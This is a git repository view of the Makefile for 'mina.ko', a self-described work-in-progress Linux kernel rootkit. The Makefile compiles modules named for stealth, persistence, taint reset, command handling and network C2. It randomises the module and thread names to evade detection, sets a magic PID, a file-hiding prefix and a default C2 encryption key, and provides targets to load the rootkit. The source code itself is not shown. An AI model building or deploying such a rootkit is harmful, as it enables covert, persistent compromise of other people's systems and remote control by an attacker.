mina.ko.git


mina.ko

~ (wip)LKM rootkit for 6.1+ kernels
git clone https://github.com/djnnvx/mina.ko.git
log | files | refs | archive | README | LICENSE

Makefile (1764B)

      1 
      2 .PHONY: all
      3 all: compile
      4 
      5 .PHONY: help
      6 help:
      7 	@echo "\033[34mmina.ko targets:\033[0m"
      8 	@perl -nle'print $& if m{^[a-zA-Z_-\d]+:.*?## .*$$}' $(MAKEFILE_LIST) | sort | awk 'BEGIN {FS = ":.*?## "}; {printf "\033[36m%-22s\033[0m %s\n", $$1, $$2}'
      9 
     10 # FIXME(djnn): auto-gen this ?
     11 MINA_CLIENT_ID := $(shell head /dev/urandom | tr -dc a-z0-9 | head -c8)
     12 
     13 obj-m := mina_$(MINA_CLIENT_ID).o
     14 mina_$(MINA_CLIENT_ID)-objs := sources/mina.o \
     15 							sources/taint_reset.o \
     16 							sources/stealth.o \
     17 							sources/persistence.o \
     18 							sources/cmd.o \
     19 							sources/net_c2.o
     20 
     21 
     22 RANDOM_THREAD_NAME := $(shell head /dev/urandom | tr -dc a-z0-9 | head -c8)
     23 
     24 # Configurable values
     25 MAGIC_PID ?= 1337
     26 HIDE_PREFIX ?= "minamina"
     27 C2_ENC_KEY ?= "defaultkey" # Default key, can be overridden
     28 
     29 MY_CFLAGS := -DRESET_THREAD_NAME='"$(RANDOM_THREAD_NAME)"' \
     30              -DMAGIC_PID=$(MAGIC_PID) \
     31              -DHIDE_PREFIX="\"$(HIDE_PREFIX)\"" \
     32              -DC2_ENC_KEY="\"$(C2_ENC_KEY)\"" \
     33              -Wno-missing-prototypes -Wno-missing-declarations -O2
     34 
     35 ccflags-y += $(MY_CFLAGS)
     36 CC += ${MY_CFLAGS}
     37 
     38 
     39 compile: ## compiles the rootkit
     40 	$(MAKE) -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
     41 	rm -f *.order *.symvers *.mod *.mod.c *.o .mina* .Module* .module*
     42 
     43 clean: ## cleans up build artifacts
     44 	$(MAKE) -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
     45 	find . -type f -name *.o -delete
     46 
     47 load: ## loads the rootkit on the system
     48 	@insmod *.ko
     49 	@dmesg -wH
     50 
     51 unload: ## unloads the rootkit from the system
     52 	@rmmod *.ko
     53 	@dmesg -wH
     54 
     55 deps: ## install build dependencies for debian-based systems (run as root)
     56 	@apt-get install -y \
     57 		gcc make build-essential libncurses-dev exuberant-ctags \
     58 		build-essential linux-headers-`uname -r`
     59 
     60 .PHONY: clean deps load unload